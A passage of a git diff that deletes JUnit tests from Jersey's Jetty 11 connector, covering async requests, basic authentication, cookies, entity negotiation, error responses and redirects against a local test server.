-                    .entity("Operation time out.").build());
-
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // very expensive operation that typically finishes within 1 second but can take up to 5 seconds,
-                    // simulated using sleep()
-                    try {
-                        Thread.sleep(5 * OPERATION_DURATION);
-                        return "DONE";
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED";
-                    } finally {
-                        LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }).start();
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(AsyncResource.class)
-                .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        // TODO: fails with true on request - should be fixed by resolving JERSEY-2273
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    /**
-     * Test asynchronous POST.
-     *
-     * Send 3 async POST requests and wait to receive the responses. Check the response content and
-     * assert that the operation did not take more than twice as long as a single long operation duration
-     * (this ensures async request execution).
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncPost() throws Exception {
-        final long tic = System.currentTimeMillis();
-
-        // Submit requests asynchronously.
-        final Future<Response> rf1 = target(PATH).request().async().post(Entity.text("1"));
-        final Future<Response> rf2 = target(PATH).request().async().post(Entity.text("2"));
-        final Future<Response> rf3 = target(PATH).request().async().post(Entity.text("3"));
-        // get() waits for the response
-        final String r1 = rf1.get().readEntity(String.class);
-        final String r2 = rf2.get().readEntity(String.class);
-        final String r3 = rf3.get().readEntity(String.class);
-
-        final long toc = System.currentTimeMillis();
-
-        assertEquals("DONE-1", r1);
-        assertEquals("DONE-2", r2);
-        assertEquals("DONE-3", r3);
-
-        assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION));
-    }
-
-    /**
-     * Test accessing an operation that times out on the server.
-     *
-     * @throws Exception in case of a test error.
-     */
-    @Test
-    public void testAsyncGetWithTimeout() throws Exception {
-        final Future<Response> responseFuture = target(PATH).path("timeout").request().async().get();
-        // Request is being processed asynchronously.
-        final Response response = responseFuture.get();
-
-        // get() waits for the response
-        assertEquals(503, response.getStatus());
-        assertEquals("Operation time out.", response.readEntity(String.class));
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
deleted file mode 100644
index be077c9..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthFilterTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class AuthFilterTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testAuthGetWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testAuthPostWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-
-    @Test
-    public void testAuthDeleteWithClientFilter() {
-        client().register(HttpAuthenticationFeature.basic("name", "password"));
-        Response response = target("test/filter").request().delete();
-        assertEquals(204, response.getStatus());
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
deleted file mode 100644
index 27ca10a..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.WebApplicationException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-
-import jakarta.inject.Singleton;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.eclipse.jetty.client.util.BasicAuthentication;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class AuthTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName());
-    private static final String PATH = "test";
-
-    @Path("/test")
-    @Singleton
-    public static class AuthResource {
-
-        int requestCount = 0;
-
-        @GET
-        public String get(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return "GET";
-        }
-
-        @GET
-        @Path("filter")
-        public String getFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-
-            return e;
-        }
-
-        @POST
-        @Path("filter")
-        public String postFilter(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-
-        @DELETE
-        public void delete(@Context HttpHeaders h) {
-            requestCount++;
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                assertEquals(1, requestCount);
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            } else {
-                assertTrue(requestCount > 1);
-            }
-        }
-
-        @DELETE
-        @Path("filter")
-        public void deleteFilter(@Context HttpHeaders h) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-        }
-
-        @DELETE
-        @Path("filter/withEntity")
-        public String deleteFilterWithEntity(@Context HttpHeaders h, String e) {
-            String value = h.getRequestHeaders().getFirst("Authorization");
-            if (value == null) {
-                throw new WebApplicationException(
-                        Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build());
-            }
-
-            return e;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(AuthResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testAuthGet() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthPost() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST"));
-        assertEquals("POST", response.readEntity(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testAuthDelete() {
-        ClientConfig config = new ClientConfig();
-        config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION,
-                new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password"));
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-
-        Response response = client.target(getBaseUri()).path(PATH).request().delete();
-        assertEquals(response.getStatus(), 204);
-        client.close();
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
deleted file mode 100644
index 7534d3d..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.Cookie;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.NewCookie;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.JerseyClient;
-import org.glassfish.jersey.client.JerseyClientBuilder;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class CookieTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName());
-
-    @Path("/")
-    public static class CookieResource {
-        @GET
-        public Response get(@Context HttpHeaders h) {
-            Cookie c = h.getCookies().get("name");
-            String e = (c == null) ? "NO-COOKIE" : c.getValue();
-            return Response.ok(e)
-                    .cookie(new NewCookie("name", "value")).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(CookieResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Test
-    public void testCookieResource() {
-        ClientConfig config = new ClientConfig();
-        config.connectorProvider(new JettyConnectorProvider());
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-        client.close();
-    }
-
-    @Test
-    public void testDisabledCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.property(JettyClientProperties.DISABLE_COOKIES, true);
-        cc.connectorProvider(new JettyConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-
-        final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
-        if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
-        } else {
-            assertNull(connector.getCookieStore());
-        }
-        client.close();
-    }
-
-    @Test
-    public void testCookies() {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new JettyConnectorProvider());
-        JerseyClient client = JerseyClientBuilder.createClient(cc);
-        WebTarget r = client.target(getBaseUri());
-
-        assertEquals("NO-COOKIE", r.request().get(String.class));
-        assertEquals("value", r.request().get(String.class));
-
-        final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
-        client.close();
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
deleted file mode 100644
index 48f51a1..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/CustomLoggingFilter.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.io.IOException;
-
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.ContainerResponseContext;
-import jakarta.ws.rs.container.ContainerResponseFilter;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Custom logging filter.
- *
- * @author Santiago Pericas-Geertsen (santiago.pericasgeertsen at oracle.com)
- */
-public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter,
-        ClientRequestFilter, ClientResponseFilter {
-
-    static int preFilterCalled = 0;
-    static int postFilterCalled = 0;
-
-    @Override
-    public void filter(ClientRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getConfiguration().getProperty("foo"));
-        postFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context) throws IOException {
-        System.out.println("CustomLoggingFilter.preFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        preFilterCalled++;
-    }
-
-    @Override
-    public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException {
-        System.out.println("CustomLoggingFilter.postFilter called");
-        assertEquals("bar", context.getProperty("foo"));
-        postFilterCalled++;
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
deleted file mode 100644
index 22f50d3..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/EntityTest.java
+++ /dev/null
@@ -1,158 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import jakarta.xml.bind.annotation.XmlRootElement;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-// import org.glassfish.jersey.jackson.JacksonFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Tests the Http content negotiation.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class EntityTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class EntityResource {
-
-        @GET
-        public Person get() {
-            return new Person("John", "Doe");
-        }
-
-        @POST
-        public Person post(Person entity) {
-            return entity;
-        }
-
-    }
-
-    @XmlRootElement
-    public static class Person {
-
-        private String firstName;
-        private String lastName;
-
-        public Person() {
-        }
-
-        public Person(String firstName, String lastName) {
-            this.firstName = firstName;
-            this.lastName = lastName;
-        }
-
-        public String getFirstName() {
-            return firstName;
-        }
-
-        public void setFirstName(String firstName) {
-            this.firstName = firstName;
-        }
-
-        public String getLastName() {
-            return lastName;
-        }
-
-        public void setLastName(String lastName) {
-            this.lastName = lastName;
-        }
-
-        @Override
-        public String toString() {
-            return firstName + " " + lastName;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(EntityResource.class/*, JacksonFeature.class*/);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-                //.register(/*JacksonFeature.class*/);
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe")));
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException {
-        Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async()
-                .post(Entity.xml(new Person("John", "Doe"))).get();
-        Person person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-        response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe")))
-                .get();
-        person = response.readEntity(Person.class);
-        assertEquals("John Doe", person.toString());
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
deleted file mode 100644
index a85cbc5..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ErrorTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.ClientErrorException;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class ErrorTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName());
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(ErrorResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-
-    @Path("/test")
-    public static class ErrorResource {
-        @POST
-        public Response post(String entity) {
-            return Response.serverError().build();
-        }
-
-        @Path("entity")
-        @POST
-        public Response postWithEntity(String entity) {
-            return Response.serverError().entity("error").build();
-        }
-    }
-
-    @Test
-    public void testPostError() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntity() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntityAsync() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().async().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
deleted file mode 100644
index d1a91cd..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/FollowRedirectsTest.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.io.IOException;
-import java.net.URI;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientResponseContext;
-import jakarta.ws.rs.client.ClientResponseFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.UriBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.ClientResponse;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Jetty connector follow redirect tests.
- *
- * @author Martin Matula
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class FollowRedirectsTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName());
-
-    @Path("/test")
-    public static class RedirectResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("redirect")
-        public Response redirect() {
-            return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(RedirectResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.property(ClientProperties.FOLLOW_REDIRECTS, false);
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    private static class RedirectTestFilter implements ClientResponseFilter {
-        public static final String RESOLVED_URI_HEADER = "resolved-uri";
-
-        @Override
-        public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException {
-            if (responseContext instanceof ClientResponse) {
